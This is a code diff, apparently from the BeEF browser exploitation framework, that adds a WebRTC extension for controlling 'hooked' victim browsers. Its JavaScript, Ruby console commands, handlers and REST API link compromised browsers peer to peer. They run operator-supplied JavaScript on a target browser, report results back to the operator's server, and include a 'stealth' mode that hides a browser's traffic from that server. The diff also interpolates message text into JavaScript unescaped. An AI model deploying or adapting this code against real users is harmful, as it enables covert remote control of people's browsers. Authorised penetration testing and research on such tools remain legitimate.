if (candidateSDP.indexOf("typ host ") >= 0)
|
||||
return "HOST";
|
||||
return "UNKNOWN";
|
||||
}
|
||||
|
||||
// Event handler for successful addition of ICE Candidates
|
||||
Beefwebrtc.prototype.onAddIceCandidateSuccess = function() {
|
||||
var localverbose = false;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].verbose === true) {
|
||||
localverbose = true;
|
||||
}
|
||||
}
|
||||
if (localverbose === true) {console.log('AddIceCandidate success.');}
|
||||
}
|
||||
|
||||
// Event handler for unsuccessful addition of ICE Candidates
|
||||
Beefwebrtc.prototype.onAddIceCandidateError = function(error) {
|
||||
var localverbose = false;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].verbose === true) {
|
||||
localverbose = true;
|
||||
}
|
||||
}
|
||||
if (localverbose === true) {console.log('Failed to add Ice Candidate: ' + error.toString());}
|
||||
}
|
||||
|
||||
// If a peer hangs up (we bring down the peerconncetion via the stop() method)
|
||||
Beefwebrtc.prototype.onRemoteHangup = function() {
|
||||
if (this.verbose) {console.log('Session terminated.');}
|
||||
this.initiator = 0;
|
||||
// transitionToWaiting();
|
||||
this.stop();
|
||||
}
|
||||
|
||||
// Bring down the peer connection
|
||||
Beefwebrtc.prototype.stop = function() {
|
||||
this.started = false; // we're no longer started
|
||||
this.signalingReady = false; // signalling isn't ready
|
||||
globalrtc[this.peerid].close(); // close the RTCPeerConnection option
|
||||
globalrtc[this.peerid] = null; // Remove it
|
||||
this.msgQueue.length = 0; // clear the msgqueue
|
||||
rtcstealth = false; // no longer stealth
|
||||
this.allgood = false; // allgood .. NAH UH
|
||||
}
|
||||
|
||||
// The actual beef.webrtc wrapper - this exposes only two functions directly - start, and status
|
||||
// These are the methods which are executed via the custom extension of the hook.js
|
||||
beef.webrtc = {
|
||||
// Start the RTCPeerConnection process
|
||||
start: function(initiator,peer,turnjson,stunservers,verbose) {
|
||||
if (peer in beefrtcs) {
|
||||
// If the RTC peer is not in a good state, try kickng it off again
|
||||
// This is possibly not the correct way to handle this issue though :/ I.e. we'll now have TWO of these objects :/
|
||||
if (beefrtcs[peer].allgood == false) {
|
||||
beefrtcs[peer] = new Beefwebrtc(initiator, peer, turnjson, stunservers, verbose);
|
||||
beefrtcs[peer].initialize();
|
||||
}
|
||||
} else {
|
||||
// Standard behaviour for new peer connections
|
||||
beefrtcs[peer] = new Beefwebrtc(initiator,peer,turnjson, stunservers, verbose);
|
||||
beefrtcs[peer].initialize();
|
||||
}
|
||||
},
|
||||
|
||||
// Check the status of all my peers ..
|
||||
status: function(me) {
|
||||
if (Object.keys(beefrtcs).length > 0) {
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs.hasOwnProperty(k)) {
|
||||
beef.net.send('/rtcmessage',0,{peerid: k, message: "Status checking - allgood: " + beefrtcs[k].allgood});
|
||||
}
|
||||
}
|
||||
} else {
|
||||
beef.net.send('/rtcmessage',0,{peerid: me, message: "No peers?"});
|
||||
}
|
||||
}
|
||||
}
|
||||
beef.regCmp('beef.webrtc');
|
||||
@@ -21,7 +21,7 @@ module BeEF
|
||||
beef_js_path = "#{$root_dir}/core/main/client/"
|
||||
|
||||
# @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated
|
||||
ext_js_sub_files = %w(lib/jquery-1.10.2.min.js lib/jquery-migrate-1.2.1.min.js lib/evercookie.js lib/json2.js lib/jools.min.js lib/mdetect.js)
|
||||
ext_js_sub_files = %w(lib/jquery-1.10.2.min.js lib/jquery-migrate-1.2.1.min.js lib/evercookie.js lib/json2.js lib/jools.min.js lib/mdetect.js lib/webrtcadapter.js)
|
||||
|
||||
# @note BeEF libraries: need Eruby evaluation and obfuscation
|
||||
beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js net/cors.js are.js)
|
||||
@@ -29,6 +29,10 @@ module BeEF
|
||||
if config.get("beef.http.websocket.enable") == true
|
||||
beef_js_sub_files << "websocket.js"
|
||||
end
|
||||
# @note Load webrtc library only if WebRTC extension is enabled
|
||||
if config.get("beef.extension.webrtc.enable") == true
|
||||
beef_js_sub_files << "webrtc.js"
|
||||
end
|
||||
|
||||
# @note antisnatchor: leave timeout.js as the last one!
|
||||
beef_js_sub_files << "timeout.js"
|
||||
|
||||
@@ -29,6 +29,9 @@ class Core
|
||||
"review" => "Target a particular previously hooked (offline) hooked browser",
|
||||
"show" => "Displays 'zombies' or 'browsers' or 'commands'. (For those who prefer the MSF way)",
|
||||
"target" => "Target a particular online hooked browser",
|
||||
"rtcgo" => "Initiate the WebRTC connectivity between two browsers",
|
||||
"rtcmsg" => "Send a message from a browser to its peers",
|
||||
"rtcstatus" => "Check a browsers WebRTC status"
|
||||
}
|
||||
end
|
||||
|
||||
@@ -245,6 +248,121 @@ class Core
|
||||
print_status(" Usage: target <id>")
|
||||
end
|
||||
|
||||
def cmd_rtcgo(*args)
|
||||
if BeEF::Core::Configuration.instance.get("beef.extension.webrtc.enable") != true
|
||||
print_status("WebRTC Extension is not enabled..")
|
||||
return false
|
||||
end
|
||||
|
||||
@@bare_opts.parse(args) {|opt,idx,val|
|
||||
case opt
|
||||
when "-h"
|
||||
cmd_rtcgo_help
|
||||
return false
|
||||
end
|
||||
}
|
||||
|
||||
if args[0] == nil or args[1] == nil
|
||||
cmd_rtcgo_help
|
||||
return
|
||||
end
|
||||
|
||||
onlinezombies = []
|
||||
BeEF::Core::Models::HookedBrowser.all(:lastseen.gt => (Time.new.to_i - 30)).each do |z|
|
||||
onlinezombies << z.id
|
||||
end
|
||||
|
||||
if not onlinezombies.include?(args[0].to_i)
|
||||
print_status("Browser [id:"+args[0].to_s+"] does not appear to be online.")
|
||||
return false
|
||||
end
|
||||
|
||||
if not onlinezombies.include?(args[1].to_i)
|
||||
print_status("Browser [id:"+args[1].to_s+"] does not appear to be online.")
|
||||
return false
|
||||
end
|
||||
|
||||
if args[2] == nil
|
||||
BeEF::Core::Models::Rtcmanage.initiate(args[0].to_i,args[1].to_i)
|
||||
else
|
||||
if args[2] =~ (/^(true|t|yes|y|1)$/i)
|
||||
BeEF::Core::Models::Rtcmanage.initiate(args[0].to_i,args[1].to_i,true)
|
||||
else
|
||||
BeEF::Core::Models::Rtcmanage.initiate(args[0].to_i,args[1].to_i)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def cmd_rtcgo_help(*args)
|
||||
print_status("To kick off the WebRTC Peer to Peer between two browsers")
|
||||
print_status(" Usage: rtcgo <caller id> <receiver id> <verbosity - defaults to false>")
|
||||
end
|
||||
|
||||
def cmd_rtcmsg(*args)
|
||||
if BeEF::Core::Configuration.instance.get("beef.extension.webrtc.enable") != true
|
||||
print_status("WebRTC Extension is not enabled..")
|
||||
return false
|
||||
end
|
||||
|
||||
@@bare_opts.parse(args) {|opt,idx,val|
|
||||
case opt
|
||||
when "-h"
|
||||
cmd_rtcmsg_help
|
||||
return false
|
||||
end
|
||||
}
|
||||
|
||||
if (args[0] == nil || args[1] == nil || args[2] == nil)
|
||||
cmd_rtcmsg_help
|
||||
return
|
||||
else
|
||||
p = ""
|
||||
(2..args.length-1).each do |x|
|
||||
p << args[x] << " "
|
||||
end
|
||||
p.chop!
|
||||
BeEF::Core::Models::Rtcmanage.sendmsg(args[0].to_i,args[1].to_i,p)
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_rtcmsg_help(*args)
|
||||
print_status("Sends a message from this browser to its peers")
|
||||
print_status(" Usage: rtcmsg <from> <to> <msg>")
|
||||
print_status("There are a few <msg> formats that are available within the beefwebrtc client-side object:")
|
||||
print_status(" !gostealth - will put the <to> browser into a stealth mode")
|
||||
print_status(" !endstealth - will put the <to> browser into normal mode, and it will start talking to BeEF again")
|
||||
print_status(" %<javascript> - will execute JavaScript on <to> sending the results back to <from> - who will relay back to BeEF")
|
||||
print_status(" <text> - will simply send a datachannel message from <from> to <to>. If the <to> is stealthed, it'll bounce the message back. If the <to> is NOT stealthed, it'll send the message back to BeEF via the /rtcmessage handler")
|
||||
end
|
||||
|
||||
def cmd_rtcstatus(*args)
|
||||
if BeEF::Core::Configuration.instance.get("beef.extension.webrtc.enable") != true
|
||||
print_status("WebRTC Extension is not enabled..")
|
||||
return false
|
||||
end
|
||||
|
||||
@@bare_opts.parse(args) {|opt,idx,val|
|
||||
case opt
|
||||
when "-h"
|
||||
cmd_rtcstatus_help
|
||||
return false
|
||||
end
|
||||
}
|
||||
|
||||
if (args[0] == nil)
|
||||
cmd_rtcstatus_help
|
||||
return
|
||||
else
|
||||
BeEF::Core::Models::Rtcmanage.status(args[0].to_i)
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_rtcstatus_help(*args)
|
||||
print_status("Sends a message to this browser - checking the WebRTC Status of all its peers")
|
||||
print_status(" Usage: rtcstatus <id>")
|
||||
end
|
||||
|
||||
def cmd_irb(*args)
|
||||
@@bare_opts.parse(args) {|opt, idx, val|
|
||||
case opt
|
||||
|
||||
41
extensions/webrtc/api.rb
Normal file
41
extensions/webrtc/api.rb
Normal file
@@ -0,0 +1,41 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module WebRTC
|
||||
|
||||
module RegisterHttpHandler
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::WebRTC::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
|
||||
|
||||
# We register the http handler for the WebRTC signalling extension.
|
||||
# This http handler will handle WebRTC signals from browser to browser
|
||||
|
||||
# We also define an rtc message handler, so that the beefwebrtc object can send messages back into BeEF
|
||||
def self.mount_handler(beef_server)
|
||||
beef_server.mount('/rtcsignal', BeEF::Extension::WebRTC::SignalHandler)
|
||||
beef_server.mount('/rtcmessage', BeEF::Extension::WebRTC::MessengeHandler)
|
||||
beef_server.mount('/api/webrtc', BeEF::Extension::WebRTC::WebRTCRest.new)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
module RegisterPreHookCallback
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::WebRTC::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send')
|
||||
|
||||
# We register this pre hook action to ensure that signals going to a browser are included back in the hook.js polling
|
||||
# This is also used so that BeEF can send RTCManagement messages to the hooked browser too
|
||||
def self.pre_hook_send(hooked_browser, body, params, request, response)
|
||||
dhook = BeEF::Extension::WebRTC::API::Hook.new
|
||||
dhook.requester_run(hooked_browser, body)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
110
extensions/webrtc/api/hook.rb
Normal file
110
extensions/webrtc/api/hook.rb
Normal file
@@ -0,0 +1,110 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
# A lot of this logic is cloned from the requester extension, which had a sane way of sending/recvng
|
||||
# JS to the clients..
|
||||
|
||||
module BeEF
|
||||
module Extension
|
||||
module WebRTC
|
||||
module API
|
||||
|
||||
require 'uri'
|
||||
class Hook
|
||||
|
||||
include BeEF::Core::Handlers::Modules::BeEFJS
|
||||
|
||||
# If the Rtcsignal table contains requests that need to be sent (has_sent = waiting), retrieve
|
||||
# and send them to the hooked browser.
|
||||
# Don't forget, these are signalling messages for a peer, so we don't check that the request
|
||||
# is for the hooked_browser_id, but the target
|
||||
|
||||
# This logic also checks the Rtc
|
||||
def requester_run(hb, body)
|
||||
@body = body
|
||||
rtcsignaloutput = []
|
||||
rtcmanagementoutput = []
|
||||
|
||||
# Get all RTCSignals for this browser
|
||||
BeEF::Core::Models::Rtcsignal.all(:target_hooked_browser_id => hb.id, :has_sent => "waiting").each { |h|
|
||||
# output << self.requester_parse_db_request(h)
|
||||
rtcsignaloutput << h.signal
|
||||
h.has_sent = "sent"
|
||||
h.save
|
||||
}
|
||||
|
||||
# Get all RTCManagement messages for this browser
|
||||
BeEF::Core::Models::Rtcmanage.all(:hooked_browser_id => hb.id, :has_sent => "waiting").each {|h|
|
||||
rtcmanagementoutput << h.message
|
||||
h.has_sent = "sent"
|
||||
h.save
|
||||
}
|
||||
|
||||
# Return if we have no new data to add to hook.js
|
||||
return if rtcsignaloutput.empty? and rtcmanagementoutput.empty?
|
||||
|
||||
config = BeEF::Core::Configuration.instance
|
||||
ws = BeEF::Core::Websocket::Websocket.instance
|
||||
|
||||
# todo antisnatchor: prevent sending "content" multiple times. Better leaving it after the first run, and don't send it again.
|
||||
#todo antisnatchor: remove this gsub crap adding some hook packing.
|
||||
# The below is how antisnatchor was managing insertion of messages dependent on WebSockets or not
|
||||
# Hopefully this still works
|
||||
if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session)
|
||||
|
||||
rtcsignaloutput.each {|o|
|
||||
add_rtcsignal_to_body o
|
||||
} unless rtcsignaloutput.empty?
|
||||
rtcmanagementoutput.each {|o|
|
||||
add_rtcmanagement_to_body o
|
||||
} unless rtcmanagementoutput.empty?
|
||||
# ws.send(content + @body,hb.session)
|
||||
ws.send(@body,hb.session)
|
||||
#if we use WebSockets, just reply wih the component contents
|
||||
else # if we use XHR-polling, add the component to the main hook file
|
||||
rtcsignaloutput.each {|o|
|
||||
add_rtcsignal_to_body o
|
||||
} unless rtcsignaloutput.empty?
|
||||
rtcmanagementoutput.each {|o|
|
||||
add_rtcmanagement_to_body o
|
||||
} unless rtcmanagementoutput.empty?
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def add_rtcsignal_to_body(output)
|
||||
@body << %Q{
|
||||
beef.execute(function() {
|
||||
var peerid = null;
|
||||
for (k in beefrtcs) {
|
||||
if (beefrtcs[k].allgood === false) {
|
||||
peerid = beefrtcs[k].peerid;
|
||||
}
|
||||
}
|
||||
if (peerid == null) {
|
||||
console.log('received a peer message, but, we are already setup?');
|
||||
} else {
|
||||
beefrtcs[peerid].processMessage(
|
||||
JSON.stringify(#{output})
|
||||
);
|
||||
}
|
||||
});
|
||||
}
|
||||
end
|
||||
|
||||
def add_rtcmanagement_to_body(output)
|
||||
@body << %Q{
|
||||
beef.execute(function() {
|
||||
#{output}
|
||||
});
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
14
extensions/webrtc/config.yaml
Normal file
14
extensions/webrtc/config.yaml
Normal file
@@ -0,0 +1,14 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
extension:
|
||||
webrtc:
|
||||
name: 'WebRTC'
|
||||
enable: false
|
||||
authors: ["xntrik"]
|
||||
stunservers: '["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302"]'
|
||||
# stunservers: '["stun:stun.l.google.com:19302"]'
|
||||
turnservers: '{"username": "someone%40somewhere.com", "password": "somepass", "uris": ["turn:numb.viagenie.ca:3478?transport=udp","turn:numb.viagenie.ca:3478?transport=tcp"]}'
|
||||
25
extensions/webrtc/extension.rb
Normal file
25
extensions/webrtc/extension.rb
Normal file
@@ -0,0 +1,25 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module WebRTC
|
||||
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'webrtc'
|
||||
@full_name = 'WebRTC'
|
||||
@description = 'WebRTC extension to all browsers to connect to each other (P2P) with WebRTC'
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'extensions/webrtc/models/rtcsignal'
|
||||
require 'extensions/webrtc/models/rtcmanage'
|
||||
require 'extensions/webrtc/api/hook'
|
||||
require 'extensions/webrtc/handlers'
|
||||
require 'extensions/webrtc/api'
|
||||
require 'extensions/webrtc/rest/webrtc'
|
||||
96
extensions/webrtc/handlers.rb
Normal file
96
extensions/webrtc/handlers.rb
Normal file
@@ -0,0 +1,96 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module WebRTC
|
||||
|
||||
#
|
||||
# The http handler that manages the WebRTC signals sent from browsers to other browsers.
|
||||
#
|
||||
class SignalHandler
|
||||
|
||||
R = BeEF::Core::Models::Rtcsignal
|
||||
Z = BeEF::Core::Models::HookedBrowser
|
||||
|
||||
def initialize(data)
|
||||
@data = data
|
||||
setup()
|
||||
end
|
||||
|
||||
def setup()
|
||||
|
||||
# validates the hook token
|
||||
beef_hook = @data['beefhook'] || nil
|
||||
(print_error "beefhook is null";return) if beef_hook.nil?
|
||||
|
||||
# validates the target hook token
|
||||
target_beef_id = @data['results']['targetbeefid'] || nil
|
||||
(print_error "targetbeefid is null";return) if target_beef_id.nil?
|
||||
|
||||
# validates the signal
|
||||
signal = @data['results']['signal'] || nil
|
||||
(print_error "Signal is null";return) if signal.nil?
|
||||
|
||||
# validates that a hooked browser with the beef_hook token exists in the db
|
||||
zombie_db = Z.first(:session => beef_hook) || nil
|
||||
(print_error "Invalid beefhook id: the hooked browser cannot be found in the database";return) if zombie_db.nil?
|
||||
|
||||
# validates that a target browser with the target_beef_token exists in the db
|
||||
target_zombie_db = Z.first(:id => target_beef_id) || nil
|
||||
(print_error "Invalid targetbeefid: the target hooked browser cannot be found in the database";return) if target_zombie_db.nil?
|
||||
|
||||
# save the results in the database
|
||||
signal = R.new(
|
||||
:hooked_browser_id => zombie_db.id,
|
||||
:target_hooked_browser_id => target_zombie_db.id,
|
||||
:signal => signal
|
||||
)
|
||||
signal.save
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# The http handler that manages the WebRTC messages sent from browsers.
|
||||
#
|
||||
class MessengeHandler
|
||||
|
||||
Z = BeEF::Core::Models::HookedBrowser
|
||||
|
||||
def initialize(data)
|
||||
@data = data
|
||||
setup()
|
||||
end
|
||||
|
||||
def setup()
|
||||
# validates the hook token
|
||||
beef_hook = @data['beefhook'] || nil
|
||||
(print_error "beefhook is null";return) if beef_hook.nil?
|
||||
|
||||
# validates the target hook token
|
||||
peer_id = @data['results']['peerid'] || nil
|
||||
(print_error "peerid is null";return) if peer_id.nil?
|
||||
|
||||
# validates the message
|
||||
message = @data['results']['message'] || nil
|
||||
(print_error "Message is null";return) if message.nil?
|
||||
|
||||
# validates that a hooked browser with the beef_hook token exists in the db
|
||||
zombie_db = Z.first(:session => beef_hook) || nil
|
||||
(print_error "Invalid beefhook id: the hooked browser cannot be found in the database";return) if zombie_db.nil?
|
||||
|
||||
# validates that a browser with the peerid exists in the db
|
||||
peer_zombie_db = Z.first(:id => peer_id) || nil
|
||||
(print_error "Invalid peer_id: the peer hooked browser cannot be found in the database";return) if peer_zombie_db.nil?
|
||||
|
||||
# Writes the event into the BeEF Logger
|
||||
BeEF::Core::Logger.instance.register('WebRTC', "Browser:#{zombie_db.id} received message from Browser:#{peer_zombie_db.id}: #{message}")
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
62
extensions/webrtc/models/rtcmanage.rb
Normal file
62
extensions/webrtc/models/rtcmanage.rb
Normal file
@@ -0,0 +1,62 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
#
|
||||
# Table stores the queued up JS commands for managing the client-side webrtc logic.
|
||||
#
|
||||
class Rtcmanage
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'extension_webrtc_rtcmanage'
|
||||
|
||||
property :id, Serial
|
||||
|
||||
# The hooked browser id
|
||||
property :hooked_browser_id, Text, :lazy => false
|
||||
|
||||
# The message
|
||||
property :message, Text, :lazy => true
|
||||
|
||||
# Boolean value to say if the signal has been sent to the target peer
|
||||
property :has_sent, Text, :lazy => false, :default => "waiting"
|
||||
|
||||
# Starts the RTCPeerConnection process, establishing a WebRTC connection between the caller and the receiver
|
||||
def self.initiate(caller, receiver, verbosity = false)
|
||||
stunservers = BeEF::Core::Configuration.instance.get("beef.extension.webrtc.stunservers")
|
||||
turnservers = BeEF::Core::Configuration.instance.get("beef.extension.webrtc.turnservers")
|
||||
|
||||
# Add the beef.webrtc.start() JavaScript call into the Rtcmanage table - this will be picked up by the browser on next hook.js poll
|
||||
# This is for the Receiver
|
||||
r = BeEF::Core::Models::Rtcmanage.new(:hooked_browser_id => receiver, :message => "beef.webrtc.start(0,#{caller},JSON.stringify(#{turnservers}),JSON.stringify(#{stunservers}),#{verbosity});")
|
||||
r.save
|
||||
|
||||
# This is the same beef.webrtc.start() JS call, but for the Caller
|
||||
r = BeEF::Core::Models::Rtcmanage.new(:hooked_browser_id => caller, :message => "beef.webrtc.start(1,#{receiver},JSON.stringify(#{turnservers}),JSON.stringify(#{stunservers}),#{verbosity});")
|
||||
r.save
|
||||
end
|
||||
|
||||
# Advises a browser to send an RTCDataChannel message to its peer
|
||||
# Similar to the initiate method, this loads up a JavaScript call to the beefrtcs[peerid].sendPeerMsg() function call
|
||||
def self.sendmsg(from, to, message)
|
||||
r = BeEF::Core::Models::Rtcmanage.new(:hooked_browser_id => from, :message => "beefrtcs[#{to}].sendPeerMsg('#{message}');")
|
||||
r.save
|
||||
end
|
||||
|
||||
# Gets the browser to run the beef.webrtc.status() JavaScript function
|
||||
# This JS function will return it's values to the /rtcmessage handler
|
||||
def self.status(id)
|
||||
r = BeEF::Core::Models::Rtcmanage.new(:hooked_browser_id => id, :message => "beef.webrtc.status(#{id});")
|
||||
r.save
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
36
extensions/webrtc/models/rtcsignal.rb
Normal file
36
extensions/webrtc/models/rtcsignal.rb
Normal file
@@ -0,0 +1,36 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
#
|
||||
# Table stores the webrtc signals from a hooked_browser, directed to a target_hooked_browser
|
||||
#
|
||||
class Rtcsignal
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'extension_webrtc_rtcsignals'
|
||||
|
||||
property :id, Serial
|
||||
|
||||
# The hooked browser id
|
||||
property :hooked_browser_id, Text, :lazy => false
|
||||
|
||||
# The target hooked browser id
|
||||
property :target_hooked_browser_id, Text, :lazy => false
|
||||
|
||||
# The WebRTC signal to submit. In clear text.
|
||||
property :signal , Text, :lazy => true
|
||||
|
||||
# Boolean value to say if the signal has been sent to the target peer
|
||||
property :has_sent, Text, :lazy => false, :default => "waiting"
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
222
extensions/webrtc/rest/webrtc.rb
Normal file
222
extensions/webrtc/rest/webrtc.rb
Normal file
@@ -0,0 +1,222 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module WebRTC
|
||||
|
||||
# This class handles the routing of RESTful API requests that manage the WebRTC Extension
|
||||
class WebRTCRest < BeEF::Core::Router::Router
|
||||
|
||||
# Filters out bad requests before performing any routing
|
||||
before do
|
||||
config = BeEF::Core::Configuration.instance
|
||||
|
||||
# Require a valid API token from a valid IP address
|
||||
halt 401 unless params[:token] == config.get('beef.api_token')
|
||||
halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip)
|
||||
|
||||
headers 'Content-Type' => 'application/json; charset=UTF-8',
|
||||
'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0'
|
||||
end
|
||||
|
||||
#
|
||||
# @note Initiate two browsers to establish a WebRTC PeerConnection
|
||||
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
|
||||
# for success messages. For instance: Event: Browser:1 received message from Browser:2: ICE Status: connected
|
||||
#
|
||||
# Input must be specified in JSON format
|
||||
#
|
||||
# +++ Example: +++
|
||||
#POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||
#Host: 127.0.0.1:3000
|
||||
#Content-Type: application/json; charset=UTF-8
|
||||
#
|
||||
#{"from":1, "to":2}
|
||||
#===response (snip)===
|
||||
#HTTP/1.1 200 OK
|
||||
#Content-Type: application/json; charset=UTF-8
|
||||
#
|
||||
#{"success":"true"}
|
||||
#
|
||||
# +++ Example with verbosity on the client-side +++
|
||||
#POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||
#Host: 127.0.0.1:3000
|
||||
#Content-Type: application/json; charset=UTF-8
|
||||
#
|
||||
#{"from":1, "to":2, "verbose": true}
|
||||
#===response (snip)===
|
||||
#HTTP/1.1 200 OK
|
||||
#Content-Type: application/json; charset=UTF-8
|
||||
#
|
||||
#{"success":"true"}
|
||||
#
|
||||
# +++ Example with curl +++
|
||||
# curl -H "Content-type: application/json; charset=UTF-8" -v
|
||||
# -X POST -d '{"from":1,"to":2,"verbose":true}'
|
||||
# http://127.0.0.1:3000/api/webrtc/go\?token\=df67654b03d030d97018f85f0284247d7f49c348
|
||||
post '/go' do
|
||||
begin
|
||||
body = JSON.parse(request.body.read)
|
||||
|
||||
fromhb = body['from']
|
||||
tohb = body['to']
|
||||
verbose = body['verbose']
|
||||
|
||||
result = {}
|
||||
|
||||
unless [fromhb,tohb].include?(nil)
|
||||
if verbose == nil
|
||||
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i)
|
||||
result['success'] = true
|
||||
else
|
||||
if verbose.to_s =~ (/^(true|t|yes|y|1)$/i)
|
||||
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i,true)
|
||||
result['success'] = true
|
||||
else
|
||||
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i)
|
||||
result['success'] = true
|
||||
end
|
||||
end
|
||||
else
|
||||
result['success'] = false
|
||||
end
|
||||
|
||||
result.to_json
|
||||
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while initiating RTCPeerConnections .. (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# @note Get the RTCstatus of a particular browser (and its peers)
|
||||
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
|
||||
# for success messages. For instance: Event: Browser:1 received message from Browser:2: Status checking - allgood: true
|
||||
#
|
||||
# +++ Example: +++
|
||||
#GET /api/webrtc/status/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||
#Host: 127.0.0.1:3000
|
||||
#
|
||||
#===response (snip)===
|
||||
#HTTP/1.1 200 OK
|
||||
#Content-Type: application/json; charset=UTF-8
|
||||
#
|
||||
#{"success":"true"}
|
||||
#
|
||||
# +++ Example with curl +++
|
||||
# curl -H "Content-type: application/json; charset=UTF-8" -v
|
||||
# -X GET http://127.0.0.1:3000/api/webrtc/status/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
|
||||
get '/status/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
|
||||
BeEF::Core::Models::Rtcmanage.status(id.to_i)
|
||||
result = {}
|
||||
result['success'] = true
|
||||
result.to_json
|
||||
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while queuing status message for #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# @note Instruct a browser to send an RTC DataChannel message to one of its peers
|
||||
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
|
||||
# for success messages, IF ANY.
|
||||
#
|
||||
# Input must be specified in JSON format
|
||||
#
|
||||
# +++ Example: +++
|
||||
#POST /api/webrtc/msg?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||
#Host: 127.0.0.1:3000
|
||||
#Content-Type: application/json; charset=UTF-8
|
||||
#
|
||||
#{"from":1, "to":2, "message":"Just a plain message"}
|
||||
#===response (snip)===
|
||||
#HTTP/1.1 200 OK
|
||||
#Content-Type: application/json; charset=UTF-8
|
||||
#
|
||||
#{"success":"true"}
|
||||
#
|
||||
# +++ Example with curl +++
|
||||
# curl -H "Content-type: application/json; charset=UTF-8" -v
|
||||
# -X POST -d '{"from":1,"to":2,"message":"Just a plain message"}'
|
||||
# http://127.0.0.1:3000/api/webrtc/go\?token\=df67654b03d030d97018f85f0284247d7f49c348
|
||||
#
|
||||
# Available client-side "message" options and handling:
|
||||
